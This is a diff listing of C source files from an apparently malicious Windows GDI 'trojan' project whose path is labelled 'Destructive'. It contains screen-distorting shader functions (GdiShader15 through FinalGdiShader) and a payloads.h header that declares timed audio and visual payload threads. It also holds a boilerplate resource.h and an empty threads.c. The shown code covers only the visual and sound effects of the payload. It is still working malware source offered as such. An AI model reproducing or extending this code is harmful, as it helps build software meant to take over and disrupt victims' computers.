| 1466 |
+
VOID
|
| 1467 |
+
WINAPI
|
| 1468 |
+
GdiShader15(
|
| 1469 |
+
_In_ INT t,
|
| 1470 |
+
_In_ INT w,
|
| 1471 |
+
_In_ INT h,
|
| 1472 |
+
_In_ HDC hdcTemp,
|
| 1473 |
+
_In_ HBITMAP hbmTemp,
|
| 1474 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1475 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1476 |
+
)
|
| 1477 |
+
{
|
| 1478 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1479 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1480 |
+
|
| 1481 |
+
UINT u;
|
| 1482 |
+
UINT v;
|
| 1483 |
+
RGBQUAD rgbDst;
|
| 1484 |
+
|
| 1485 |
+
for (INT y = 0; y < h; y++)
|
| 1486 |
+
{
|
| 1487 |
+
for (INT x = 0; x < w; x++)
|
| 1488 |
+
{
|
| 1489 |
+
FLOAT a = coshf(atan2f((FLOAT)((y * t - 3) & t), (FLOAT)((13 * 32) & t))) * log10f((FLOAT)(t | 6 - 3)) * 2.f;
|
| 1490 |
+
FLOAT b = expf((FLOAT)acos((DOUBLE)t / 1.0) + t);
|
| 1491 |
+
|
| 1492 |
+
u = x + (INT)a;
|
| 1493 |
+
v = y + (INT)b;
|
| 1494 |
+
|
| 1495 |
+
u %= w;
|
| 1496 |
+
v %= h;
|
| 1497 |
+
|
| 1498 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1499 |
+
rgbDst.rgb = ((rgbDst.b ^ rgbDst.g << t) | ((rgbDst.g ^ rgbDst.r) << 6) | ((rgbDst.r ^ rgbDst.b) << t));
|
| 1500 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1501 |
+
}
|
| 1502 |
+
}
|
| 1503 |
+
}
|
| 1504 |
+
|
| 1505 |
+
VOID
|
| 1506 |
+
WINAPI
|
| 1507 |
+
GdiShader16(
|
| 1508 |
+
_In_ INT t,
|
| 1509 |
+
_In_ INT w,
|
| 1510 |
+
_In_ INT h,
|
| 1511 |
+
_In_ HDC hdcTemp,
|
| 1512 |
+
_In_ HBITMAP hbmTemp,
|
| 1513 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1514 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1515 |
+
)
|
| 1516 |
+
{
|
| 1517 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1518 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1519 |
+
|
| 1520 |
+
UINT u;
|
| 1521 |
+
UINT v;
|
| 1522 |
+
RGBQUAD rgbDst;
|
| 1523 |
+
|
| 1524 |
+
for (INT y = 0; y < h; y++)
|
| 1525 |
+
{
|
| 1526 |
+
for (INT x = 0; x < w; x++)
|
| 1527 |
+
{
|
| 1528 |
+
FLOAT a = sinhf(atanf((FLOAT)(((t + x) * 12 - 3) & t))) * logf((FLOAT)(t | 13 - 68)) * 3 - 1.f;
|
| 1529 |
+
FLOAT b = expf((FLOAT)asin((DOUBLE)t / tanh(1.0)) + (FLOAT)(x + y));
|
| 1530 |
+
|
| 1531 |
+
u = x + (INT)a;
|
| 1532 |
+
v = y - (INT)b;
|
| 1533 |
+
|
| 1534 |
+
u %= w;
|
| 1535 |
+
v %= h;
|
| 1536 |
+
|
| 1537 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1538 |
+
rgbDst.rgb = ((rgbDst.b | rgbDst.g) | ((rgbDst.g | rgbDst.r) << 24) | ((rgbDst.r) << t));
|
| 1539 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1540 |
+
}
|
| 1541 |
+
}
|
| 1542 |
+
}
|
| 1543 |
+
|
| 1544 |
+
VOID
|
| 1545 |
+
WINAPI
|
| 1546 |
+
GdiShader17(
|
| 1547 |
+
_In_ INT t,
|
| 1548 |
+
_In_ INT w,
|
| 1549 |
+
_In_ INT h,
|
| 1550 |
+
_In_ HDC hdcTemp,
|
| 1551 |
+
_In_ HBITMAP hbmTemp,
|
| 1552 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1553 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1554 |
+
)
|
| 1555 |
+
{
|
| 1556 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1557 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1558 |
+
|
| 1559 |
+
UINT u;
|
| 1560 |
+
UINT v;
|
| 1561 |
+
RGBQUAD rgbDst;
|
| 1562 |
+
|
| 1563 |
+
for (INT y = 0; y < h; y++)
|
| 1564 |
+
{
|
| 1565 |
+
for (INT x = 0; x < w; x++)
|
| 1566 |
+
{
|
| 1567 |
+
FLOAT a = (FLOAT)ldexp((DOUBLE)atanf((FLOAT)(((t + x) * 16) & t)), t + y) * (FLOAT)scalbn((DOUBLE)(t | 25), x & y * 64) * 22.f;
|
| 1568 |
+
FLOAT b = (FLOAT)expm1((DOUBLE)sqrtf(t * (FLOAT)hypot(10.0, (DOUBLE)(t % 20))) + (DOUBLE)(x | y));
|
| 1569 |
+
|
| 1570 |
+
u = x + (INT)b;
|
| 1571 |
+
v = y + (INT)a;
|
| 1572 |
+
|
| 1573 |
+
u %= w;
|
| 1574 |
+
v %= h;
|
| 1575 |
+
|
| 1576 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1577 |
+
HSLCOLOR hsl = RGBToHSL(rgbDst);
|
| 1578 |
+
hsl.h = (FLOAT)fmod((DOUBLE)rgbDst.r / 25.0 + (DOUBLE)t / 18.0, 1.0);
|
| 1579 |
+
hsl.s = (FLOAT)rgbDst.g / 255.f;
|
| 1580 |
+
hsl.l = (FLOAT)rgbDst.b / 55.f;
|
| 1581 |
+
rgbDst = HSLToRGB(hsl);
|
| 1582 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1583 |
+
}
|
| 1584 |
+
}
|
| 1585 |
+
}
|
| 1586 |
+
|
| 1587 |
+
VOID
|
| 1588 |
+
WINAPI
|
| 1589 |
+
GdiShader18(
|
| 1590 |
+
_In_ INT t,
|
| 1591 |
+
_In_ INT w,
|
| 1592 |
+
_In_ INT h,
|
| 1593 |
+
_In_ HDC hdcTemp,
|
| 1594 |
+
_In_ HBITMAP hbmTemp,
|
| 1595 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1596 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1597 |
+
)
|
| 1598 |
+
{
|
| 1599 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1600 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1601 |
+
|
| 1602 |
+
UINT u;
|
| 1603 |
+
UINT v;
|
| 1604 |
+
RGBQUAD rgbDst;
|
| 1605 |
+
FLOAT c = 1.f / 8.f;
|
| 1606 |
+
BYTE d;
|
| 1607 |
+
|
| 1608 |
+
for (INT y = 0; y < h; y++)
|
| 1609 |
+
{
|
| 1610 |
+
FLOAT a = TriangleWave(t * 8 + y / 7, 2, w) * SquareWave(t * 8 + y / 7, 7, h) * 4.f;
|
| 1611 |
+
|
| 1612 |
+
for (INT x = 0; x < w; x++)
|
| 1613 |
+
{
|
| 1614 |
+
FLOAT b = TriangleWave(t * 8 + x / 2, 2, w) * SquareWave(t * 8 + y / 7, 2, h) * 4.f;
|
| 1615 |
+
|
| 1616 |
+
u = x + (INT)a;
|
| 1617 |
+
v = y + (INT)b;
|
| 1618 |
+
|
| 1619 |
+
u %= w;
|
| 1620 |
+
v %= h;
|
| 1621 |
+
|
| 1622 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1623 |
+
rgbDst.r = (BYTE)((FLOAT)rgbDst.r * c + (a * b) * (1.f - c));
|
| 1624 |
+
rgbDst.g += rgbDst.r / 36;
|
| 1625 |
+
|
| 1626 |
+
d = rgbDst.b;
|
| 1627 |
+
|
| 1628 |
+
if (!d)
|
| 1629 |
+
{
|
| 1630 |
+
d = 1;
|
| 1631 |
+
}
|
| 1632 |
+
|
| 1633 |
+
rgbDst.b += rgbDst.r / d;
|
| 1634 |
+
|
| 1635 |
+
HSLCOLOR hsl = RGBToHSL(rgbDst);
|
| 1636 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .01, 1.0);
|
| 1637 |
+
hsl.s = (FLOAT)fmod((DOUBLE)(hsl.s + hsl.h) + .01, 1.0);
|
| 1638 |
+
hsl.l = (FLOAT)fmod((DOUBLE)(hsl.l + hsl.h) + .01, 1.0);
|
| 1639 |
+
rgbDst = HSLToRGB(hsl);
|
| 1640 |
+
|
| 1641 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1642 |
+
}
|
| 1643 |
+
}
|
| 1644 |
+
}
|
| 1645 |
+
|
| 1646 |
+
VOID
|
| 1647 |
+
WINAPI
|
| 1648 |
+
GdiShader19(
|
| 1649 |
+
_In_ INT t,
|
| 1650 |
+
_In_ INT w,
|
| 1651 |
+
_In_ INT h,
|
| 1652 |
+
_In_ HDC hdcTemp,
|
| 1653 |
+
_In_ HBITMAP hbmTemp,
|
| 1654 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1655 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1656 |
+
)
|
| 1657 |
+
{
|
| 1658 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1659 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1660 |
+
|
| 1661 |
+
UINT u;
|
| 1662 |
+
UINT v;
|
| 1663 |
+
RGBQUAD rgbDst;
|
| 1664 |
+
|
| 1665 |
+
for (INT y = 0; y < h; y++)
|
| 1666 |
+
{
|
| 1667 |
+
FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
|
| 1668 |
+
|
| 1669 |
+
for (INT x = 0; x < w; x++)
|
| 1670 |
+
{
|
| 1671 |
+
u = x + 0 + (INT)a;
|
| 1672 |
+
v = y;
|
| 1673 |
+
|
| 1674 |
+
u %= w;
|
| 1675 |
+
v %= h;
|
| 1676 |
+
|
| 1677 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1678 |
+
rgbDst.rgb += (COLORREF)(__rdtsc() & 0b1000000010000000 & (__rdtsc() & 0b100000001000000010000000));
|
| 1679 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1680 |
+
}
|
| 1681 |
+
}
|
| 1682 |
+
}
|
| 1683 |
+
|
| 1684 |
+
VOID
|
| 1685 |
+
WINAPI
|
| 1686 |
+
GdiShader20(
|
| 1687 |
+
_In_ INT t,
|
| 1688 |
+
_In_ INT w,
|
| 1689 |
+
_In_ INT h,
|
| 1690 |
+
_In_ HDC hdcTemp,
|
| 1691 |
+
_In_ HBITMAP hbmTemp,
|
| 1692 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1693 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1694 |
+
)
|
| 1695 |
+
{
|
| 1696 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1697 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1698 |
+
|
| 1699 |
+
UINT u;
|
| 1700 |
+
UINT v;
|
| 1701 |
+
RGBQUAD rgbDst;
|
| 1702 |
+
|
| 1703 |
+
HSLCOLOR hsl;
|
| 1704 |
+
hsl.h = (FLOAT)fmod((DOUBLE)t / 512.0, 1.0);
|
| 1705 |
+
hsl.s = 1.f;
|
| 1706 |
+
hsl.l = .5f;
|
| 1707 |
+
COLORREF crRainbow = HSLToRGB(hsl).rgb;
|
| 1708 |
+
|
| 1709 |
+
for (INT y = 0; y < h; y++)
|
| 1710 |
+
{
|
| 1711 |
+
FLOAT a = FastSine((FLOAT)1 / 26.f + (FLOAT)y / 34.f) * 18.f;
|
| 1712 |
+
|
| 1713 |
+
for (INT x = 0; x < w; x++)
|
| 1714 |
+
{
|
| 1715 |
+
u = x + (INT)a;
|
| 1716 |
+
v = y ^ (y % (abs((INT)(a * a)) + 1));
|
| 1717 |
+
|
| 1718 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1719 |
+
|
| 1720 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1721 |
+
rgbDst.rgb &= crRainbow;
|
| 1722 |
+
|
| 1723 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1724 |
+
}
|
| 1725 |
+
}
|
| 1726 |
+
}
|
| 1727 |
+
|
| 1728 |
+
VOID
|
| 1729 |
+
WINAPI
|
| 1730 |
+
GdiShader21(
|
| 1731 |
+
_In_ INT t,
|
| 1732 |
+
_In_ INT w,
|
| 1733 |
+
_In_ INT h,
|
| 1734 |
+
_In_ HDC hdcTemp,
|
| 1735 |
+
_In_ HBITMAP hbmTemp,
|
| 1736 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1737 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1738 |
+
)
|
| 1739 |
+
{
|
| 1740 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1741 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1742 |
+
|
| 1743 |
+
UINT u;
|
| 1744 |
+
UINT v;
|
| 1745 |
+
RGBQUAD rgbDst;
|
| 1746 |
+
|
| 1747 |
+
for (INT y = 0; y < h; y++)
|
| 1748 |
+
{
|
| 1749 |
+
HSLCOLOR hsl;
|
| 1750 |
+
hsl.h = (FLOAT)fmod((DOUBLE)t / 15.0 + (DOUBLE)y / (DOUBLE)h * 1.f, 1.0);
|
| 1751 |
+
hsl.s = 1.f;
|
| 1752 |
+
hsl.l = .5f;
|
| 1753 |
+
COLORREF crRainbow = HSLToRGB(hsl).rgb;
|
| 1754 |
+
|
| 1755 |
+
FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
|
| 1756 |
+
|
| 1757 |
+
for (INT x = 0; x < w; x++)
|
| 1758 |
+
{
|
| 1759 |
+
u = (INT)(x * fabs(fmod((DOUBLE)a - (DOUBLE)(INT)(a * a), 1.0))) + x;
|
| 1760 |
+
v = y + (INT)(a * a);
|
| 1761 |
+
|
| 1762 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1763 |
+
|
| 1764 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1765 |
+
rgbDst.rgb = rgbDst.rgb & 0xAAAAA;
|
| 1766 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1767 |
+
}
|
| 1768 |
+
}
|
| 1769 |
+
}
|
| 1770 |
+
|
| 1771 |
+
VOID
|
| 1772 |
+
WINAPI
|
| 1773 |
+
GdiShader22(
|
| 1774 |
+
_In_ INT t,
|
| 1775 |
+
_In_ INT w,
|
| 1776 |
+
_In_ INT h,
|
| 1777 |
+
_In_ HDC hdcTemp,
|
| 1778 |
+
_In_ HBITMAP hbmTemp,
|
| 1779 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1780 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1781 |
+
)
|
| 1782 |
+
{
|
| 1783 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1784 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1785 |
+
|
| 1786 |
+
UINT u;
|
| 1787 |
+
UINT v;
|
| 1788 |
+
RGBQUAD rgbDst;
|
| 1789 |
+
HSLCOLOR hsl;
|
| 1790 |
+
FLOAT _t = (FLOAT)t / 1.f;
|
| 1791 |
+
|
| 1792 |
+
for (INT y = 0; y < h; y++)
|
| 1793 |
+
{
|
| 1794 |
+
FLOAT _y = (FLOAT)y / 2.f;
|
| 1795 |
+
|
| 1796 |
+
for (INT x = 0; x < w; x++)
|
| 1797 |
+
{
|
| 1798 |
+
FLOAT a = FastCosine(_y + _t) * 9.f;
|
| 1799 |
+
|
| 1800 |
+
u = x + (INT)a, v = y;
|
| 1801 |
+
u %= w;
|
| 1802 |
+
v %= h;
|
| 1803 |
+
|
| 1804 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1805 |
+
FLOAT r = (FLOAT)prgbSrc[y * w + x].r;
|
| 1806 |
+
FLOAT g = (FLOAT)prgbSrc[y * w + x].g;
|
| 1807 |
+
FLOAT b = (FLOAT)prgbSrc[y * w + x].b;
|
| 1808 |
+
|
| 1809 |
+
//rgbDst.rgb = (COLORREF)0;
|
| 1810 |
+
hsl = RGBToHSL(rgbDst);
|
| 1811 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 45.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 64.f), 1.0);
|
| 1812 |
+
prgbDst[y * w + x] = HSLToRGB(hsl);
|
| 1813 |
+
}
|
| 1814 |
+
}
|
| 1815 |
+
}
|
| 1816 |
+
|
| 1817 |
+
VOID
|
| 1818 |
+
WINAPI
|
| 1819 |
+
GdiShader23(
|
| 1820 |
+
_In_ INT t,
|
| 1821 |
+
_In_ INT w,
|
| 1822 |
+
_In_ INT h,
|
| 1823 |
+
_In_ HDC hdcTemp,
|
| 1824 |
+
_In_ HBITMAP hbmTemp,
|
| 1825 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1826 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1827 |
+
)
|
| 1828 |
+
{
|
| 1829 |
+
UINT u;
|
| 1830 |
+
UINT v;
|
| 1831 |
+
RGBQUAD rgbDst;
|
| 1832 |
+
|
| 1833 |
+
for (INT y = 0; y < h; y++)
|
| 1834 |
+
{
|
| 1835 |
+
FLOAT a = FastSine((FLOAT)t / 8.f + (FLOAT)y / 64.f) * 4.f;
|
| 1836 |
+
|
| 1837 |
+
for (INT x = 0; x < w; x++)
|
| 1838 |
+
{
|
| 1839 |
+
u = x + t + (INT)a;
|
| 1840 |
+
v = y + t + (INT)a;
|
| 1841 |
+
|
| 1842 |
+
u %= w;
|
| 1843 |
+
v %= h;
|
| 1844 |
+
|
| 1845 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1846 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1847 |
+
}
|
| 1848 |
+
}
|
| 1849 |
+
}
|
| 1850 |
+
|
| 1851 |
+
VOID
|
| 1852 |
+
WINAPI
|
| 1853 |
+
GdiShader24(
|
| 1854 |
+
_In_ INT t,
|
| 1855 |
+
_In_ INT w,
|
| 1856 |
+
_In_ INT h,
|
| 1857 |
+
_In_ HDC hdcTemp,
|
| 1858 |
+
_In_ HBITMAP hbmTemp,
|
| 1859 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1860 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1861 |
+
)
|
| 1862 |
+
{
|
| 1863 |
+
UNREFERENCED_PARAMETER(t);
|
| 1864 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1865 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1866 |
+
UNREFERENCED_PARAMETER(prgbSrc);
|
| 1867 |
+
|
| 1868 |
+
RGBQUAD rgbDst;
|
| 1869 |
+
|
| 1870 |
+
for (INT y = 0; y < h; y++)
|
| 1871 |
+
{
|
| 1872 |
+
FLOAT a = FastSine((FLOAT)t / 100.f + (FLOAT)y / 10.f) * 9.f;
|
| 1873 |
+
for (INT x = 0; x < w; x++)
|
| 1874 |
+
{
|
| 1875 |
+
INT u = x + 0 + (INT)a;
|
| 1876 |
+
INT v = y;
|
| 1877 |
+
|
| 1878 |
+
u %= w;
|
| 1879 |
+
v %= h;
|
| 1880 |
+
|
| 1881 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1882 |
+
|
| 1883 |
+
rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 10) | ((rgbDst.r - 2) << 1));
|
| 1884 |
+
|
| 1885 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1886 |
+
}
|
| 1887 |
+
}
|
| 1888 |
+
}
|
| 1889 |
+
|
| 1890 |
+
VOID
|
| 1891 |
+
WINAPI
|
| 1892 |
+
FinalGdiShader(
|
| 1893 |
+
_In_ INT t,
|
| 1894 |
+
_In_ INT w,
|
| 1895 |
+
_In_ INT h,
|
| 1896 |
+
_In_ HDC hdcTemp,
|
| 1897 |
+
_In_ HBITMAP hbmTemp,
|
| 1898 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1899 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1900 |
+
)
|
| 1901 |
+
{
|
| 1902 |
+
UNREFERENCED_PARAMETER(t);
|
| 1903 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1904 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1905 |
+
UNREFERENCED_PARAMETER(prgbSrc);
|
| 1906 |
+
|
| 1907 |
+
RGBQUAD rgbDst;
|
| 1908 |
+
|
| 1909 |
+
for (INT i = 0; i < w * h; i += w)
|
| 1910 |
+
{
|
| 1911 |
+
rgbDst.rgb = (Xorshift32() % 256) * 0x010101;
|
| 1912 |
+
|
| 1913 |
+
for (INT j = 0; j < w; j++)
|
| 1914 |
+
{
|
| 1915 |
+
prgbDst[i + j] = rgbDst;
|
| 1916 |
+
}
|
| 1917 |
+
}
|
| 1918 |
+
}
|
src/Benzene-main/Destructive/Benzene/payloads.h
ADDED
|
@@ -0,0 +1,106 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
#define TIMER_DELAY 100
|
| 5 |
+
#define PAYLOAD_MS 10000
|
| 6 |
+
#define PAYLOAD_TIME ( PAYLOAD_MS / TIMER_DELAY )
|
| 7 |
+
|
| 8 |
+
#define SineWave(t, freq, sampleCount) FastSine(2.f * 3.1415f * ((FLOAT)(freq) * (FLOAT)(t) / (FLOAT)(sampleCount)))
|
| 9 |
+
#define SquareWave(t, freq, sampleCount) (((BYTE)(2.f * (FLOAT)(freq) * ((t) / (FLOAT)(sampleCount))) % 2) == 0 ? 1.f : -1.f)
|
| 10 |
+
#define TriangleWave(t, freq, sampleCount) (4.f * ( FLOAT )fabs(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq))) - floor(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq)))) - .5f) - 1.f)
|
| 11 |
+
#define SawtoothWave(t, freq, sampleCount) (fmod(((FLOAT)(t) / (FLOAT)(sampleCount)), (1.f / (FLOAT)(freq))) * (FLOAT)(freq) * 2.f - 1.f)
|
| 12 |
+
|
| 13 |
+
VOID
|
| 14 |
+
WINAPI
|
| 15 |
+
AudioPayloadThread( VOID );
|
| 16 |
+
|
| 17 |
+
VOID
|
| 18 |
+
WINAPI
|
| 19 |
+
AudioSequenceThread(
|
| 20 |
+
_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
|
| 21 |
+
);
|
| 22 |
+
|
| 23 |
+
VOID
|
| 24 |
+
WINAPI
|
| 25 |
+
ExecuteAudioSequence(
|
| 26 |
+
_In_ INT nSamplesPerSec,
|
| 27 |
+
_In_ INT nSampleCount,
|
| 28 |
+
_In_ AUDIO_SEQUENCE pAudioSequence,
|
| 29 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPreSynthOp,
|
| 30 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPostSynthOp
|
| 31 |
+
);
|
| 32 |
+
|
| 33 |
+
#define SYNTH_LENGTH 18
|
| 34 |
+
AUDIO_SEQUENCE AudioSequence1;
|
| 35 |
+
AUDIO_SEQUENCE AudioSequence2;
|
| 36 |
+
AUDIO_SEQUENCE AudioSequence3;
|
| 37 |
+
AUDIO_SEQUENCE AudioSequence4;
|
| 38 |
+
AUDIO_SEQUENCE AudioSequence5;
|
| 39 |
+
AUDIO_SEQUENCE AudioSequence6;
|
| 40 |
+
AUDIO_SEQUENCE AudioSequence7;
|
| 41 |
+
AUDIO_SEQUENCE AudioSequence8;
|
| 42 |
+
AUDIO_SEQUENCE AudioSequence9;
|
| 43 |
+
AUDIO_SEQUENCE AudioSequence10;
|
| 44 |
+
AUDIO_SEQUENCE AudioSequence11;
|
| 45 |
+
AUDIO_SEQUENCE AudioSequence12;
|
| 46 |
+
AUDIO_SEQUENCE AudioSequence13;
|
| 47 |
+
AUDIO_SEQUENCE AudioSequence14;
|
| 48 |
+
AUDIO_SEQUENCE AudioSequence15;
|
| 49 |
+
AUDIO_SEQUENCE AudioSequence16;
|
| 50 |
+
AUDIO_SEQUENCE AudioSequence17;
|
| 51 |
+
AUDIO_SEQUENCE AudioSequence18;
|
| 52 |
+
AUDIO_SEQUENCE FinalAudioSequence;
|
| 53 |
+
AUDIO_SEQUENCE_PARAMS pAudioSequences[ 25 ];
|
| 54 |
+
|
| 55 |
+
VOID
|
| 56 |
+
WINAPI
|
| 57 |
+
GdiShaderThread(
|
| 58 |
+
_In_ PGDISHADER_PARAMS pGdiShaderParams
|
| 59 |
+
);
|
| 60 |
+
|
| 61 |
+
VOID
|
| 62 |
+
WINAPI
|
| 63 |
+
ExecuteGdiShader(
|
| 64 |
+
_In_ HDC hdcDst,
|
| 65 |
+
_In_ RECT rcBounds,
|
| 66 |
+
_In_ INT nTime,
|
| 67 |
+
_In_ INT nDelay,
|
| 68 |
+
_In_ GDI_SHADER pGdiShader,
|
| 69 |
+
_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
|
| 70 |
+
_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
|
| 71 |
+
);
|
| 72 |
+
|
| 73 |
+
INT nShaderThreeSeed;
|
| 74 |
+
GDI_SHADER GdiShader1;
|
| 75 |
+
GDI_SHADER GdiShader2;
|
| 76 |
+
GDI_SHADER GdiShader3;
|
| 77 |
+
GDI_SHADER GdiShader4;
|
| 78 |
+
GDI_SHADER GdiShader5;
|
| 79 |
+
GDI_SHADER GdiShader6;
|
| 80 |
+
GDI_SHADER GdiShader7;
|
| 81 |
+
GDI_SHADER GdiShader8;
|
| 82 |
+
GDI_SHADER GdiShader9;
|
| 83 |
+
GDI_SHADER GdiShader10;
|
| 84 |
+
GDI_SHADER GdiShader11;
|
| 85 |
+
GDI_SHADER GdiShader12;
|
| 86 |
+
GDI_SHADER GdiShader13;
|
| 87 |
+
GDI_SHADER GdiShader14;
|
| 88 |
+
GDI_SHADER GdiShader15;
|
| 89 |
+
GDI_SHADER GdiShader16;
|
| 90 |
+
GDI_SHADER GdiShader17;
|
| 91 |
+
GDI_SHADER GdiShader18;
|
| 92 |
+
GDI_SHADER GdiShader19;
|
| 93 |
+
GDI_SHADER GdiShader20;
|
| 94 |
+
GDI_SHADER GdiShader21;
|
| 95 |
+
GDI_SHADER GdiShader22;
|
| 96 |
+
GDI_SHADER GdiShader23;
|
| 97 |
+
GDI_SHADER GdiShader24;
|
| 98 |
+
GDI_SHADER FinalGdiShader;
|
| 99 |
+
GDI_SHADER_OPERATION PreGdiShader1;
|
| 100 |
+
GDI_SHADER_OPERATION PostGdiShader1;
|
| 101 |
+
GDI_SHADER_OPERATION PostGdiShader2;
|
| 102 |
+
GDI_SHADER_OPERATION PostGdiShader3;
|
| 103 |
+
GDI_SHADER_OPERATION PostGdiShader4;
|
| 104 |
+
GDI_SHADER_OPERATION PostGdiShader5;
|
| 105 |
+
GDI_SHADER_OPERATION PostGdiShader6;
|
| 106 |
+
GDI_SHADER_PARAMS pGdiShaders[ 25 ];
|
src/Benzene-main/Destructive/Benzene/resource.h
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//{{NO_DEPENDENCIES}}
|
| 2 |
+
// Microsoft Visual C++ generated include file.
|
| 3 |
+
// Used by Benzene.rc
|
| 4 |
+
|
| 5 |
+
// Next default values for new objects
|
| 6 |
+
//
|
| 7 |
+
#ifdef APSTUDIO_INVOKED
|
| 8 |
+
#ifndef APSTUDIO_READONLY_SYMBOLS
|
| 9 |
+
#define _APS_NEXT_RESOURCE_VALUE 101
|
| 10 |
+
#define _APS_NEXT_COMMAND_VALUE 40001
|
| 11 |
+
#define _APS_NEXT_CONTROL_VALUE 1001
|
| 12 |
+
#define _APS_NEXT_SYMED_VALUE 101
|
| 13 |
+
#endif
|
| 14 |
+
#endif
|
src/Benzene-main/Destructive/Benzene/threads.c
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
